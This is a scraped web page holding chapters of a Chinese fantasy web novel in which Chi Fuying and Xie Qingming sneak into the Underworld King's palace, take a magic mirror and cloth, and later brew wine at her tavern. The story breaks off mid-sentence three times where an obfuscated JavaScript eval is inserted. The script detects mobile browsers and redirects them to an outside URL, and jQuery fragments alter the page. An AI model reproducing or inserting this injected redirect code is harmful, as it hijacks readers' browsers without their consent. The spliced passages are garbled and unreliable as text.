迟复樱朝他虚撩一脚:“你才是狗呢!”想不到没控制好距离,脚尖擦过他的大腿。谢清鸣回头恼怒地说:“你在干什么!”
“别叫!”
“你经常这样踢人么?”
两人互骂着走到正南宫门前,同时住口。还是上次的宫门,迟复樱竟然有些熟门熟路的沧桑感。她冲谢清鸣摇头摆手,示意他先不要进去。接着她轻轻一跃,单脚在墙中段一点,向后跳上墙外的大树,再借着树梢的弹力向墙上飞去,眨眼间就以之字形路线跳上了墙头。
蹲在黑暗中,迟复樱向院内张望,发现冥王似乎真的不在家,整个院落中没有一处光亮。迟复樱大着胆子站了起来,在墙上来回走了几趟,巡视着院内的动静。两排焦黑的枯树直通天际,宫殿稳稳坐落在树丛深处,像一座阴森陡峭的高山。
脚下的宫墙足有二十几层楼高,无法一口气跳上跳下。站在这样的高处看去,冥王宫的真容袒露无疑,压迫感扑面而来。迟复樱为那天夜里的鲁莽行动感到一阵后怕,浑身像扎了一片细密的针,一瞬间出了一层冷汗。
谢清鸣站在墙下,文质彬彬地问:“看到什么薄弱之处了?”
迟复樱向宫殿的方向瞭望着,沉沉地说:“我准备顺着宫墙摸一圈,看能不能在侧门找个切入点。你一会儿不要害怕,也不要冲动,跟着我……”
话还没说完,突然感到后背一阵大力袭来,整个人大头朝下,咕咚一下栽了下去。
迟复樱的心脏嘣地一下跳到了喉咙,眨眼人就掉到了十层楼的高度。没来得及叫出声,一条长臂兜住了她。谢清鸣像夹着一个铺盖卷那样,将她夹在腋下,轻盈优美地落到院内。
迟复樱双手死死抓着他袍子下摆,刚能喘气,就用气声破口大骂:“你的脑袋是被你自己踢了吗!”
谢清鸣打断她:“还不松手,要把我的衣服拽下来吗?你不是个女流氓吧?”
迟复樱咬牙切齿地说:“你不也没撒手吗?”
谢清鸣哦了一声,一松胳膊。迟复樱往地上扑去,又被他一把拉住,双脚互相绊了半天,总算站了起来。
无视了迟复樱的怒意,谢清鸣拉着她穿过枯树,一路脚不点地。迟复樱四外圈地转头,没看见一个护卫。可见真正厉害的角色,是不怕别人闯入自己的住所的。
进了大殿的前门,迟复樱一把将他抵到墙上,小声呵斥道:“喂,你这小鬼会不会踩点啊?哪有大摇大摆走进来的,当然是要贴着墙角走在阴影里啊!他本人不在,他的手下说不定还在!”
“对,”谢清鸣神秘地说,“他的手下……就在你身后!”说完就掀开她的手臂,拔足狂奔,转眼就只剩一道银色的闪电。
“等等我!”迟复樱嗓子哑了。她根本不敢回头,只觉得身后有轻微的哗啦声,似乎是许多人轻手轻脚地追来,让她联想到那些纸人。迟复樱使出了跑赛的力气,拼命追着谢清鸣的背影。两人左拐右拐,绕过大殿,直奔寝殿。
一扑进寝殿,四面阴风骤起,空中垂落的纱幔又开始飘荡。迟复樱有心理阴影,急忙奋不顾身地向前一跃,将谢清鸣砸倒在地。谢清鸣闷哼一声,痛苦地问:“你又要干什么?”
迟复樱凑到他耳边小声说:“快趴下,这些白纱会抓人。”回头仔细一看,身后一个人影都没有,也不见纸人现身,整座宫殿里鸦雀无声。她怀疑地问:“你刚才是不是看错了?真的有人追我们吗?”
“可能吧。”谢清鸣用手臂支着头,舒适地侧卧着,“现在怎么办?”
“你还想在这里睡一觉不成?”迟复樱埋怨道,“快跟上,我带你爬出去。”
谢清鸣说:“我才不爬呢。”他站起身来,大摇大摆地穿过层层叠叠的纱幔,还伸手轻轻弹了一下:“帘子而已。”
迟复樱将信将疑,也试着伸手去碰白纱。想不到白纱突然向她一蹿,好像要来咬她的手一样。迟复樱一甩手,又惊又怒地说:“这纱帘还会看人下菜碟!”
谢清鸣自顾自地往前走,迟复樱则一边转圈观察四周,一边鬼鬼祟祟地跟在他后面。宫殿一环套一环,出了寝殿,又进了藏书阁。中间一条宽敞大道,贯通了前后门,两侧无数排书架直通天际。这些书架不按直线排列,时而连续,时而断开,时而还来个转弯,显然是布设成一座迷宫。
每座书架都装得满满当当,各式书籍摞在一起,在斜照的月光里泛着冷光。迟复樱感叹道:“这个冥王还真看书呢。”
谢清鸣问:“这还有假?”
“我的意思是,有些人特意买书作为摆设,但冥王应该不是。”迟复樱伸手指着身边的书册,“你看这些书都有折痕,是……”
谢清鸣断喝一声:“当心!”
她的指尖明明没有碰到那些书,那些书却像长了翅膀一样,对着她唰唰冲了出来,一时间空中乱箭齐发,竟像古墓里对付盗墓贼的机关一样。迟复樱吃了一惊,蹬地而起,足尖踩在其中一本大书上。再顺势借力,向后一个倒扑虎,在空中翻成个圆圈。眨眼之间,手撑着落在数丈之外,人已经轻飘飘地伏在地上。
这一跳,就跳出了中间的大道,落在了不知第几重书架后面。前后都是联排的高大架子,将视线遮得严严实实。迟复樱喊道:“谢清鸣,你没被误伤吧?”
那边却没有回音。她这才发现,这座书架迷宫不仅阻断了人的视线,连声音也给拦住了。
迟复樱站起身来,不敢再伸手碰那些书,只能跑来跑去地找缝隙,想看看谢清鸣在哪里。然而,迷宫里的路看似是直的,实际走起来却在绕圈。走了半天都没有出口,她索性一跃而上,站在书架顶端向下看。
这一看,差点难受得浑身发痒。只见脚下的迷宫像一片被镂刻的大地,看不见边缘,更找不到中央的大路。无数条路径弯曲邪魅,密密麻麻。迟复樱焦急地转了两个圈,明知声音传不出去,还是喊道:“谢清鸣!你被砸死了吗?”
身后传来一句:“很遗憾,还没有。”
迟复樱跳着在空中转了个身,谢清鸣也站在同一条书架上,正背手看着她。迟复樱往后一退,紧张地问:“你从哪冒出来的?你是真的还是假的?”
那个谢清鸣慢悠悠地说:“那当然是假的……”话没说完,就伸手过来拉迟复樱。迟复樱一甩手,转身就向旁边的书架跃去。假谢清鸣跟着跳了过来,喊道:“别跑!”两人在书架顶端表演起了猫捉老鼠。
迟复樱四肢很长,一步能飞跨两个架子,这下真跑成了空中飞人。身后的人却也毫不示弱,好几次差点要碰到她的衣角。跑来跑去,找不到出口,迟复樱横下心来,突然一个急转身,朝着假谢清鸣扑过去。
假谢清鸣吃了一惊,却没有躲开,反而伸出双臂接住了她。迟复樱本以为自己能将这人扑倒在地,想不到他下盘极稳,竟然抱着她立在原地。她只得转变策略,两手抓着他的膀子,单腿站立,另一条腿曲起膝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468777|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盖,大力向前顶去。
他急忙弯腰后撤,恼怒地说:“你往哪踢呢!谁教你的?”
这一开口,迟复樱终于停住了。她头发凌乱,两眼冒火,杀气腾腾地说:“你又骗我!”
谢清鸣哼了一声,不情愿地说:“我本来要说的是,那当然是假的、才怪。谁知你跑那么快,喊你你都不停。”
迟复樱一挥手:“别扯了,快找找出去的路!要不然就算在这里面转死,也出不去的!”
谢清鸣大步走过来,一把拎起迟复樱,带着她几个起落。再踏上地面时,已经回到了那条中央大道。诡异的是,方才那些发射出来的书全都定在了半空,十分凶险地对着她,却纹丝不动。
这批大部头要是全都发射过来,恐怕能把她砸个半死,说不定还会吐出暗箭之类的凶器。迟复樱不敢轻举妄动,双方僵持着。接着,这些书突然集体退回到书架上,按照原样摞到一起,还微微抖动着,好像突然胆怯了。迟复樱半信半疑地盯着书架,心说难道是这些书对她火烧寝殿的事有所耳闻?所以才被她吓住了?
转头一看,谢清鸣站在原地,正冷冷地盯着那些哆哆嗦嗦的书,目光十分不善。
迟复樱上下看了他一眼:“你没事吧?刚才挨打了吗?”
“怎么可能。”谢清鸣也飞快地扫视着她,“你呢?摔跤了吗?”
迟复樱拍着衣服说:“没有!我算是明白了为什么冥王宫里不用护卫,原来这里面随便一个摆设都能充当机关,根本用不着活人!”
“不过,你的身手还可以嘛,好像也没那么差。”谢清鸣的嘴角流露出一点笑意,“你在练武?”
迟复樱如实说道:“我也发现了,我施法的准头还不太行,但是轻功却不错!”
谢清鸣说:“果然是头脑简单,四肢发达。”
迟复樱反驳道:“去你的!我过去在做工的地方,那可是独当一面!我忙着沟通各方的时候,你还不知蹲在哪个屋顶上捡东西吃呢!”
两人互相侮辱着走出了藏书阁,又踏进了兵器库。各式刀剑、棍棒、强弩散发着冰凉的戾气,迟复樱不仅不敢用手指,还恨不得连看都不看它们。两人经过时,她总有种感觉,好像兵器都在行注目礼。
她略带羡慕地说:“冥王原来还会这么多兵器啊。”
谢清鸣说:“为什么不会?”
想到自己将来还想绑架冥王,她发愁地说:“我就不会任何兵器。”
谢清鸣弯起一侧嘴角:“你不用兵器,就已经够能搞破坏的了,要是用了还得了?”
迟复樱忍不住问道:“你觉不觉得,这里很不对劲?我们这一路怎么一个人都看不见?就算他用不着护卫,也该有些随从之类的吧?他们都在哪呢?”
谢清鸣正色道:“就在你的头顶。”
迟复樱猛地抬头看去,却只看见高高的天花。薄薄的纸人贴在上面,像丝丝缕缕的云。只是它们都一动不动,还没有被注入法力,功效就跟窗花差不多。她瞪着谢清鸣:“你又吓我!你只会这一招?”
谢清鸣呵呵笑了一声:“这里没有任何人。”
迟复樱气得肋骨下方疼痛,但还是忍不住问:“为什么?冥王不留人看家吗?”
谢清鸣耸肩答道:“谁知道他是不是真的有手下。”
“他怎么会没有手下?”迟复樱追问道,“他不是养了许多杀手吗?”
谢清鸣反问道:“冥王用得着养那么多杀手吗?”
不等她回答,他微微向前一抬下巴,示意迟复樱看前方。两扇对开的大门虚掩着,门缝中透出奇异的光亮,隐约看见门外是另一片世界。他们终于走到了宫殿尽头。
8. 镜里人
迟复樱警戒着上前两步,突然后悔自己怎么从没练过武术?这次如果能活着回去,一定要想办法学个舞枪弄棒、拉弓射箭的本事。
谢清鸣义正言辞地说:“有时候,这门一开就会跳出吃人的狼狗精!”
迟复樱立刻又退了回去:“那你把它们引开?”
谢清鸣怒道:“那你就不怕我被吃了吗?”
迟复樱装出单纯而认真的神情,说:“你那么厉害,不会被吃呀!”
谢清鸣板着脸,一把将她拉到身后,另一只手从容地一推,大门豁然洞开。
霎时间,迟复樱仿佛坠入仙境,一时屏住呼吸,忘记了诸多烦恼。
海蓝色的星穹下,青草连绵,流水淙淙,无数珍奇花树,一直延展到天边。谢清鸣得意地说:“这里是后院,怎么样,和正院不一样吧?”
迟复樱觉得自己一步迈入了画卷中。她伸手去触碰空中那些会发光的青鸟,它们便立即躲开,不久又再度盘旋而来。群鸟高高低低地飞着,像浮动的灯盏照耀着漫山遍野。
谢清鸣说:“不是先去照镜子吗?免得一会儿又到处哭着问别人你长什么样。”
迟复樱哼了一声,说:“那你带路!”便一路跟着他往山里走去。在山谷中走了半天,只听见水声越来越近,转了一个弯,一道水帘挂在山峰上,成了个小型瀑布。琼珠碎玉,激流飞溅,山下积起一片湖泊,看起来水质非常清澈。
一路被机关追杀,迟复樱只剩下疲惫和消沉。现在马上就要知道自己的真实面目,又突然觉得气血上涌,心脏砰砰直跳。
刚想去水边照一照,谢清鸣就奚落地说:“大晚上的,水面上能照出什么?”
“那你说的镜子在哪?”迟复樱不满地看着他,“我还以为你真的熟悉冥王宫呢!”
谢清鸣傲慢地转过头,伸手一指瀑布,瀑布凝结成一片冰镜。他扬着下巴说:“喏,去照吧。”
迟复樱惊奇地问:“你喝了多少灵泉才能变出这种法术?”一个被用来抵账的仆人,都能够游刃有余地施展法术,难道游戏中卧虎藏龙?
“不是什么事都需要灵泉的。”谢清鸣慢悠悠地说,“这种雕虫小技,你多练习一下也可以,就是别再砍树了。”
迟复樱不予理会,飞身跳上山石。她知道自己越是做心理准备,就越是会犹豫拖沓,所以每次只能闷头莽上去。跳了几气,迟复樱蹦到了镜子前。一见镜中的人,就呆在原地,动弹不得。
只一眼,天地间就变亮了。万事万物都在消解,只剩下镜中那张脸。容貌光彩夺目,纯净美丽,却十分陌生。
谢清鸣问:“喂,你真不认识自己啊?”
迟复樱直勾勾地盯着镜子,她终于认出了这张脸。这是她自己的脸,只不过是四年前大学刚毕业时的样子。这张脸还没有被生活摧残过,珠圆玉润,像一片粉白的樱花花瓣。眉如弯弓,杏眼大睁,嘴唇鲜润,鼓鼻子鼓脸,看上去充满了希望。
无论眼角眉梢,还是皮肉嘴唇,都是向上扬的,好像带着笑意。整个人意气风发,轻盈欲飞,仿佛无羁无绊,能飘到风里。这和后来那个沉重的自己,是多么的不同!迟复樱哽咽了,伸手摸自己的脸,镜子里的人也跟着摸脸。她又去摸镜子里的脸,一时间忘了今夕何夕,满脑子只有一句话:肉身还在!
哗地一下,史无前例的快乐,像一堆彩带一样从天而降,落到了迟复樱的头上。忽然间,她信心大增,充满希望,准备克服无数艰难险阻,甚至没有那么着急回去了。
谢清鸣嘶了一声:“不至于吧?你太肉麻了!就算觉得自己好看,也用不着这么激动?”
迟复樱像抽水一样啼哭了一声,谴责道:“你懂什么!原来我真是我自己……”
“什么乱七八糟的?”谢清鸣愕然问道,“你怎么了?为自己的美貌大受震撼,发癫了?”
“闭嘴!”迟复樱抽泣着说,“还有没有镜子?我要前后两面,看看头发。”
“……”
谢清鸣摇了摇头,只得从湖中扬出一片水波,将之变成一面较小的镜子。他先照了照自己的脸,满意地点了点头,而后才飞身登上大石头,替她在脑后举着这面小镜子。
两面镜子前后互映,迟复樱左右转动着脑袋,一会儿整理耳环,一会儿拈起碎发。头顶的双环发髻如同云烟出岫,很像挂历上那种嫦娥的发型。鹅黄色衣裙的裁剪也很不错,样式简约明快,显得她更加细高,像一棵笔直的白杨。就是浑身上下没什么金珠玉佩,不然还可以拿去当钱。
再看身后的谢清鸣,比自己高了大半头,正斜眼向下鸟瞰着自己。他的高马尾上带着玉环,身上的银白色袍子也明显比自己的质量好!
谢清鸣和她在镜子里对视了。片刻之后,他移开目光,不情愿地说:“好了吧?这下看过瘾了?”
迟复樱恋恋不舍地抚摸着镜子,和他商量道:“要不然,咱们把这面大镜子带回去?”
“什么?”谢清鸣难以置信,“你还要搬走?”
“求你了,你法力那么高深,夹着它回去应该不难吧?”迟复樱双手合十,满脸哀愁之色,“我们酒肆从来没有镜子,她们两个一年到头也照不上一次。我想让她们两个也照照。”
谢清鸣憋了半天说:“你们是该好好照照,看看自己是有多大本事,还想从冥王手里偷东西?”话虽这么说,他还是冷着脸拔起这面大镜子,连同小镜子一起夹在胳膊下。山壁上立刻空出了一大块,上下是冻住的飞瀑,中间裸露出湿润的石头。如果冥王回来后,发现瀑布都被人偷了,不知他会是什么心情。迟复樱试着挥手,解开冰冻的瀑布,白浪重新奔流而下。
谢清鸣抱怨道:“别管了,快走吧。这镜子很沉的,我拿不动。”
迟复樱露出了穿越以来的第一个真心笑容:“你可不要嫌我偷镜子。冥王那个老东西无恶不作,偷他点东西怎么啦,我又不偷好人的东西。”
谢清鸣冷冷地说:“你偷,我倒要看看你怎么偷。”
“我只偷有用的东西。”迟复樱腼腆地笑着,“这儿有吃的吗?我想吃东西,可以吗?”
谢清鸣十分无语:“你还怪有礼貌的。”
他带着迟复樱出山,原路返回宫殿中,只是这次绕开了藏书阁和兵器库,是从偏殿穿过去的。迟复樱悄悄记着路线,在脑海里一遍遍地描画着。一直走到东南角,找到一处富丽堂皇的厨房,谢清鸣说:“吃吧吃吧。”
迟复樱胃口大开,把高脚盘上的盖子全部掀起,挑挑拣拣的,一连吃了二十几块点心。谢清鸣纳闷地问:“难道你的身体会饿?”
迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468778|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复樱摇头说:“不饿,就是想吃。”
谢清鸣抱怨道:“难怪你看着细细小小的,实际还挺重。”
迟复樱一边往嘴里塞更多点心,一边愤怒地看着他,意思是我让你夹着我了?那是你自己的行为!
“吃好了吧?”谢清鸣夹着两面镜子,无奈地说,“回去吗?”
“等我一下。”迟复樱想在厨房里找块木炭,但冥王宫里似乎没有这种低端的东西。她只能从果盘里挑了一颗红果,撩起外裙的下摆,在布料背面匆匆绘制了冥王宫的地形图。只需略施法术,就能将果汁的染色固定下来。平时衣服就穿在身上,不会让地图流露出去,比藏在任何地方都安全。
画完一转头,谢清鸣正仰头看着天,表示自己没有看她掀裙子。迟复樱来自现代世界,当然不在乎这些,再说她底下还有衬裙。她好言好语地解释道:“我怕我忘了这里的布局,以后说不定还来呢。”
谢清鸣说:“你可真贪心,还来干什么?”
迟复樱避而不答,只说:“再等我一下!”
谢清鸣指了指茶壶:“水在那儿。”
“不是啦,”迟复樱双手交握,做出羞涩而讨好的样子,“可不可以带我去冥王的仓库,我想再拿几匹布料。”
谢清鸣彻底惊呆了。
“啊,不行吗?”迟复樱鼓着嘴,失望地说,“你可能觉得我这人连吃带拿的,很不像话,但我真的需要布料做衣服……”
谢清鸣将镜子换了个手,嘀咕道:“真拿你没办法。”他一手拉着迟复樱的衣袖,一路七拐八拐,来到宫殿的西北角,果然有一座存放绫罗绸缎、金山银海的库房。目测这堆钱币可以买下几家银行,而且是银行集团!
冥王十恶不赦,而且垄断了一口灵泉、从老百姓手里抠钱,就算把他的宝库偷空也是应该的。尽管如此,迟复樱也没有贪心,准备只挑两匹布料。她方才照镜子时发现,自己的衣着还比较体面,对比之下,金风和韩无刃的外袍已经半旧,露出的内衬也已经飞边,看来是法力也无法将之变得更新。她在摞成山的布匹里找了半天,最后相中了压在底下的两匹。
她弯下腰,嘿地一声,一使劲就抽出了两匹布。然后抬腿抵住摇摇欲坠的布山,用膝盖奋力向前顶去。她将布匹拿在手里看了几眼,一个是浅红色,一个是银紫色,都没有任何花纹或特色,日后不会被人认出是冥王宫里的东西。看罢,就满意地递给谢清鸣。
谢清鸣左手夹镜子,右手夹布匹,没好气地说:“这下可以走了吧?”
“可以了可以了,我又不多拿。”迟复樱眉开眼笑,甜腻地说,“小谢,你真好!”
谢清鸣绷着脸,眼睛不看她:“我看你才是真正的恶霸。”
两人一前一后,翻出了宫墙,走了不久,就看见流星远远地迎了过来。迟复樱现在心情舒畅,对马也赞不绝口:“流星这发型,还真潇洒帅气呢。”
谢清鸣把赃物绑在一起,横搭在马后,不屑地说:“那我明天就把它剃成锅盖头。”
迟复樱笑眯眯地爬到马上,双手扯住飘逸柔顺的马鬃,大声说:“我看你才是真正的恶霸!”
谢清鸣坐到她的背后,手持缰绳,像一个宽大的安全座椅,将她环绕在中间。这次她后知后觉地发现,他的胸膛像火焰一样炽热。
9. 佳酿成
清晨,冥界下起了瓢泼大雨。几人聚在后院的屋檐下,听着哗哗的雨声。
从冥王宫里顺回来的那两块镜子,就安置在楼后的檐廊上。迟复樱将几支蜡烛变得和树桩一样大,一团团温暖的火焰经过镜面的反射,令酒肆蓬荜生辉。阴雨中,世界暗无天日,酒肆却笼罩在麦芽色的光晕中。
金风端起酒盅,谨慎地抿了一口。酒浆在嘴里含了半天,最后伸直了脖子才咽下去。
显然,新一轮的酿酒实验再次失败。迟复樱摇头叹气,自己也尝了一口,顿时两眼发直。她本想把这口酒吐出去,但一想到金风都喝了,她也不能不喝,于是义字当头,一仰头咽了下去。
韩无刃小心地说:“掌柜的,那我这杯……”
迟复樱摆手说:“不要喝了,酿成酱油了。”她伸出一根手指点了点坛子,坛中的深色液体立刻清空了。韩无刃掀开水缸的帘子,舀出一瓢瓦蓝瓦蓝的水倒进坛子,成色照例很像油漆。迟复樱现在已经知道,她们住的地方只有这种水,于是也不再挑剔。
来的第一晚,金风就提过一嘴,妖鬼的法力不是万能的。现在迟复樱终于有了实感。韩无刃无法赤手空拳地变出清水,同理,浪花酒肆的成员擅长把水变成酒,却不能凭空变出一坛酒。又比如,金风拿到自己那份衣料后,立刻就将它变成了成衣,但如果没有衣料,她就不能在两手空空的情况下变出衣服。
迟复樱集中注意力,双手放在坛身上,闭上眼睛,不再吭声。很快,一种无羁无绊的直觉在心中升起,沿着手臂向下游走,像两缕轻烟一样注入酒坛。坛口冒出了幽幽的蓝光,清水正迅速地发酵。迟复樱心中突然有一闪念的焦虑,紧闭的双眼上方,眉毛皱了起来。她不知道这次的酒能不能酿成,但她是如此的急需用钱……
自从确认了身体的归属问题,迟复樱算是吃了半颗定心丸,接着就开始琢磨怎么赚钱。她想了半宿,猜测冥王马车实际是一架机器,能把人打散成中微子之类的粒子群。那种粒子甚至能轻易地穿透地球,当然也就能穿透这个世界与现实世界之间的屏障。等到进入了现实世界,这群粒子再向中心收缩汇聚,最后重新聚合成人形,大功告成,她迟复樱就回家了。
据韩无刃说,冥王的买卖遍布各行各业,没有一万也有八千。而且他不仅向百姓收取了高价,还动不动就去杀人抢劫。对这么一个富可敌国的恶棍来说,驱动一次马车应该不是高成本的事,或许冥王都没把这事看得太重。
因此迟复樱再次肯定了自己的战略:她没必要跟他搞得太僵,最好还是多赚点钱,一边补充灵泉,一边打听冥王有哪些买卖。等他的买卖再被凡冥二界算计时,她要看看自己能不能从中做些人情。到时候先礼后兵,拉拢不成,就加入反方,从背后下黑手威胁他!她认为再厉害的人物,也会有疏于防范的时候,假以时日,总能蹲到时机下手。
终于,迟复樱睁开眼睛,酒坛的蓝光已经熄灭了。金风和韩无刃期待地看着迟复樱,尽管她已经连续把酒酿成了茶水、醋和酱油。
揭开盖子一看,坛中的液体呈现出琥珀色的光泽。迟复樱一拍桌子,激动地说:“是酒!”
只是喝进嘴里,却没有味道,还十分粘稠噎人。迟复樱瞪着眼睛,艰难地吞咽了一下,说:“不,是浆糊。”方才她在最后的环节走神了,控制不住地胡思乱想,扰乱了原本纯粹的意念。但金风却很高兴,还说:“不管怎么说,掌柜的每次酿出来的东西不同,一样一坛,还是可以派上用场的。”
说着,就把那几坛酱油醋送到了后厨。再回来时,金风经过那面大镜子,脚步了慢了下来。她对着镜子上下打量自己,伸出双手拍打新衣服下摆。在淡红色窄袖长裙的衬托下,她看起来神采奕奕。接着,像是突然回过神来,她立刻快步走回到这两人身边,脸上浮现出隐约的笑意。
迟复樱用深情的目光追随着她,好像脸盘变成了一个向日葵,同时还连发颤音:“小风姐,有没有人对你说过,你长得可真美。你的手真巧,一下就变出来一套衣服,还这么合身……”
金风含笑注视着她,脑袋一下一下微微点着,听她一句一句地说完。韩无刃自我解释道:“掌柜的,你送我的布料太好,我一时间没想好要变个什么样式,所以还没穿出来。你等我再想几天!”
迟复樱手一挥:“想个时髦一点的!”
背后突然有人凉凉地说:“你那布料又不是花钱买的。”
回头一看,谢清鸣抱着胳膊,斜倚在门边,嘴边带着邪恶的笑容,正盯着迟复樱看。迟复樱不想让金风和韩无刃知道自己去盗窃了,只能忍气吞声,对谢清鸣怒目而视。
金风情真意切地说:“掌柜送的布料很好看,又很结实!”说着竟然飞快地向她一眨右眼。迟复樱心头一热,郑重其事地说:“以后你们就别叫掌柜了。我的本名叫迟复樱,是樱花再度开放的意思。”
谢清鸣说:“知道了,你叫小樱桃花。”
金风向往地说:“野棠开未落,山樱发欲然,掌柜的名字真好……”
迟复樱摇头笑了,再次给坛子里注了水。虽然谢清鸣他们也能酿酒,但迟复樱觉得自己也得学会,一来把核心技术掌握在手里,二来每个人各司其职,她和谢清鸣可以专门负责酿酒,把金风和韩无刃解放出来。
回顾这几次施法酿酒,每次都有诸多条件要同时满足,所以顾此失彼,不能一次性实现。想通了这一点之后,迟复樱就从地上捡了一张纸片,用木炭在上面写了许多要求,例如酒香醇厚、入口柔和、回甘绵长等等。
金风看着迟复樱写写画画,就说:“掌柜的,你的法力还不稳定,但是酿酒速度很快的。之前我和老韩酿酒,需要等十天半月才能酿成,你酿的东西倒是即刻就能喝到嘴!”
“是吗?”迟复樱受宠若惊,“那我在这方面是不是很有天赋?”
金风十分肯定地说:“是的!”韩无刃也严肃地点头,谢清鸣转头对他说:“你们是说她酿酱油的天赋吧……”
迟复樱双手隔着纸条,摁在装满清水的坛子上,再次闭上眼睛。
直觉从心中喷涌而出,在纸条上逡巡了一会儿,逐一拾起那些词句,接着猛地钻进了坛中。渐渐地,意识在躯体周围形成了盔甲,摒弃了周遭的一切,连雨声也远去了。迟复樱想起了桂花的香味,满天的星斗,奔驰的白马……
坛子里瓦蓝的水面泛起了波澜,冥冥之中,迟复樱领会到一坛水就是一片海,一道涟漪就如同一次清明和混沌的分离、一场上天又入地的海啸!
唰地一下,迟复樱双眼大睁,脱口而出:“成了!”
酒体清亮如蜜,闻着有种动人心魄的香味。喝进嘴里,果然入口柔和、回甘绵长。韩无刃喜上眉梢,露出了灿烂的笑容:“掌柜哒,这坛肯定能卖上价!”说着,又将那罐浆糊拿过去,宝贝似的捧在怀里,说要用这个去修补房顶的瓦片。金风便和他一起上了房。
迟复樱虚脱般地瘫坐在檐廊上。从前的工作让她十分痛苦,以至于很多时候她只能躺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468779|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着看天花板,动弹不得,就算想爬起来喝口水都做不到。而现在才知道,没钱是另一种痛苦,贫困令她寸步难行。
谢清鸣走过来,在她面前席地而坐,捡起那张纸条看看:“你画的是什么?人家会以为你是道士的。”
“道士怎么了?”迟复樱解下腰间的茶壶,打开壶口畅饮。近来这把茶壶已经成了她的专属保温杯,走到哪带到哪。
谢清鸣说:“道士,是凡界的,专门装神弄鬼捉妖怪的。冥界要是进了道士,会吓坏大家的,搞不好你会被打的。”
迟复樱哼了一声,对他特别温柔地一笑。这小子还不知道,她已经排好了值班表,明天就该由他来一日酿五坛酒了。头顶上传来叮叮当当修房顶的声音,身边是谢清鸣百无聊赖的口哨声。迟复樱忽然觉得,有这么一间酒肆也不错。
突然之间,她满怀豪情,想要重整旗鼓,将酒肆建设起来。她需要钱,也太需要证明自己了。在她那个社会里,她的心气在质疑和训斥中消磨殆尽,甚至被熬到灯枯油尽。而现在她有了一家酒肆的四分之一话语权。来到这里之后,迟复樱第一次感到心中充斥着丰盈的希望。
她又不禁想到,自己这种壮志从何而来?会不会重振酒肆才是回家的关卡?莫非这不是对抗游戏,而是个种田游戏?
谢清鸣懒懒地问:“你在想什么?”
迟复樱沉默了一会儿,说:“我来这个酒肆之前,受过很多欺负。”
他立刻问:“谁欺负你?”
迟复樱摇头说:“你见不着他们。”
在死进这个游戏之前,迟复樱连夜开会修复漏洞,领导的斥责裹挟着激荡的戾气,源源不断地涌入她的屏幕,一行接一行地跳出来,就像密密麻麻的虫子……想到这里,迟复樱心中无比酸胀,突然大声说:“回去第一件事就是宰了那些压迫我的人!”
想不到房顶上传来喜悦的呼声:“太好了!”
迟复樱仰头看去,奇怪地问:“怎么,你们认识他们?”
房顶上的两人都说:“不认识!但是掌柜的有所不知,咱们妖鬼界和凡人界是不一样的。凡人界讲究恶有恶报,但在咱们这里,当恶霸才能交好运!”
迟复樱差点不敢相信自己的耳朵:“还有这种好事?”谢清鸣发出一声嗤笑。
韩无刃笑嘻嘻的声音传来:“当然当然啦,掌柜的你以后就知道啦,当好人会遭报应,千万不能当!”
迟复樱心驰神往,陷入了头脑风暴。等她反应过来时,发现自己的眼珠一直在疯狂地转来转去。如果能肆无忌惮地当恶人,那自己将来不光要坐上冥王的时空机器,还应该从他手里骗点钱回来。这样自己走了以后,还能给同伴们留点积蓄。
谢清鸣向后一仰,舒坦地躺了下来,双手枕在头下,悠哉地说:“我赌你不会。”
“不会什么?”
“不会当恶人。”
迟复樱突然探过身去,横眉冷对:“说,你当初蹲在房顶上,为什么说我照了镜子会失望?你这个恶人!”
谢清鸣眼睛半阖,幽幽地看着她的脸。迟复樱毫不客气地看了回去,满脸都是挑衅。他依然凝视着她的脸,嘴角一挑,轻声笑了。
迟复樱中气十足地说:“快回话!”
“因为,你当时嘴上还沾着点心渣子啊。”谢清鸣轻松地说,“如果你发现自己带着这副尊容和我说话,会羞愤而死的。”
不等迟复樱出手,他便一个鲤鱼打挺,弹起身来,嗖地一下跑远了。
10. 梁上燕
连续两天,迟复樱跳上了大堂的房梁,在上面盘腿打坐。她暗中观察稀稀拉拉的客人,摸清了他们的风格和喜好,将浪花酒肆的客户群体大致分成了几类。
例如一大早就来店里喝茶会友的俊俏鬼公子,衣着讲究,举止风雅,显然是上城区的纨绔子弟偷偷跑出来玩。这类客人出得起银子,还喜欢新奇玩意。迟复樱恰好开发了几罐鸡尾酒,金风将这些酒推销给他们,搞得那些公子惊为天人,一个劲地为鸡尾酒作诗。
